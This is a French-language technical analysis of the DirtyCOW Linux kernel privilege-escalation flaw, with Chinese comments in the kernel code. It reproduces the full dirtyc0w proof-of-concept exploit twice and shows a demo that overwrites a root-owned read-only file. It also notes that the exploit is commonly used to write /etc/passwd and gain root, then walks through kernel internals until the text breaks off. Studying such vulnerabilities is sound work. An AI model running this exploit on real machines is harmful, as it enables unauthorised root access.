
Notes DirtyCOW
void *map; int f; struct stat st; char *name;
void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }
void *procselfmemThread(void *arg) { char str; str = (char)arg;
int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }
int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
Nous croyons qu'il y a encore de la place pour l'amélioration ici, et nous accueillons toute suggestion et contribution.```
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000
procselfmem -2094967296
madvise 0
$ cat flag.txt
aaaaaa
Une technique d'exploitation courante consiste à écrire sans autorisation dans /etc/passwd pour modifier l'utilisateur root ou les permissions utilisateur afin d'élever les privilèges
Voyons d'abord ce que fait l'exp```c int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content"); return 1; }
pthread_t pth1, pth2; f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
- D'abord, appeler pthread pour créer deux threads
- Ensuite, `fopen` le fichier cible `argv[1]` en lecture seule
- `mmap` le fichier en mémoire (adresse aléatoire). `MAP_PRIVATE` crée un mappage mémoire privé pour la tâche. Si une autre tâche tente d'écrire dans cette mémoire, le processus fait une copie avant écriture, évitant ainsi le coût de copie de tout l'espace mémoire lors de la création de sous-processus ou de threads, tout en garantissant que les opérations mémoire concurrentes entre tâches n'interfèrent pas. C'est le mécanisme CopyOnWrite.
- Puis lancer deux threads : l'un exécute `madviseThread`, l'autre `procselfmemThread`
Maintenant, examinons le corps d'exécution des deux threads
- Un thread appelle `madvise` sur le mappage de fichier pour indiquer au noyau l'état d'utilisation de la mémoire mappée ou de la mémoire partagée. `MADV_DONTNEED` signifie que cette région mémoire ne sera plus utilisée, le noyau peut la libérer.
- L'autre thread ouvre `/proc/self/mem` avec les droits de lecture et d'écriture. Ce fichier est le mappage fichier de la mémoire virtuelle du processus lui-même. Il tente ensuite d'écrire les informations cibles dans ce fichier de façon répétée.```c
void *madviseThread(void *arg) {
char *str;
str = (char*)arg;
int i, c = 0;
for(i = 0; i < 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
void *procselfmemThread(void *arg) {
char *str;
str = (char*)arg;
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 100000000; i++) {
lseek(f, (uintptr_t)map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\n\n", c);
}
Finalement, sous les assauts répétés des deux threads, le noyau présente une vulnérabilité de compétition, et procselfmemThread parvient à écrire dans le fichier en lecture seule.
mmap crée uniquement un mappage mémoire sur une vma, sans réellement placer le fichier mappé dans une page physique. Par conséquent, lors de notre première tentative d'écriture (write) du fichier, une exception de page manquante est inévitablement déclenchée.Nous analysons à partir de write. Toute opération sur un fichier doit passer par la table virtuelle file_operations enregistrée par le système de fichiers du fichier dans le VFS. Les fichiers situés dans /proc sont implémentés par procfs. En trouvant proc_mem_operations, on voit que write est lié à mem_write.```c
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,
};
`mem_write` est un wrapper autour de `mem_rw` (le drapeau `write` est mis à 1), le flux principal de `mem_rw` est :
- D'abord, `__get_free_page` alloue une page libre temporaire comme tampon.
- Pour une opération d'écriture, `copy_from_user` copie les données à écrire dans la page temporaire.
- Ensuite, `access_remote_vm` lit les données cibles dans la page libre (lecture) ou écrit le contenu du tampon à l'adresse cible (écriture).
- Ce qu'on appelle « remote » est dû au fait que ce processus peut lire ou écrire les fichiers mappés en mémoire d'autres processus, ce qui signifie que le processus peut accéder à l'espace d'adressage d'autres processus, contrairement aux autres systèmes de fichiers mémoire.
- Pour une opération de lecture, les données lues dans la page libre à l'étape précédente sont écrites dans le tampon de l'utilisateur.```c
static ssize_t mem_rw(struct file *file, char __user *buf,
size_t count, loff_t *ppos, int write)
{
struct mm_struct *mm = file->private_data;
unsigned long addr = *ppos;
ssize_t copied;
char *page;
if (!mm)
return 0;
page = (char *)__get_free_page(GFP_TEMPORARY); // 申请临时空闲页面
if (!page)
return -ENOMEM;
copied = 0;
if (!atomic_inc_not_zero(&mm->mm_users))
goto free;
while (count > 0) {
int this_len = min_t(int, count, PAGE_SIZE); // 本次读取/写入数据长度,单次最大为PAGE_SIZE
if (write && copy_from_user(page, buf, this_len)) { // 若是写操作,从用户空间拷贝待写数据到临时空闲页面
copied = -EFAULT;
break;
}
this_len = access_remote_vm(mm, addr, page, this_len, write); // 读取/写入数据到临时空闲页面
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}
if (!write && copy_to_user(buf, page, this_len)) { // 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
copied = -EFAULT;
break;
}
buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;
}
*ppos = addr;
mmput(mm);
free:
free_page((unsigned long) page); // 释放临时空闲页面
return copied;
}
access_remote_vm est un wrapper autour de __access_remote_vm, le processus principal est :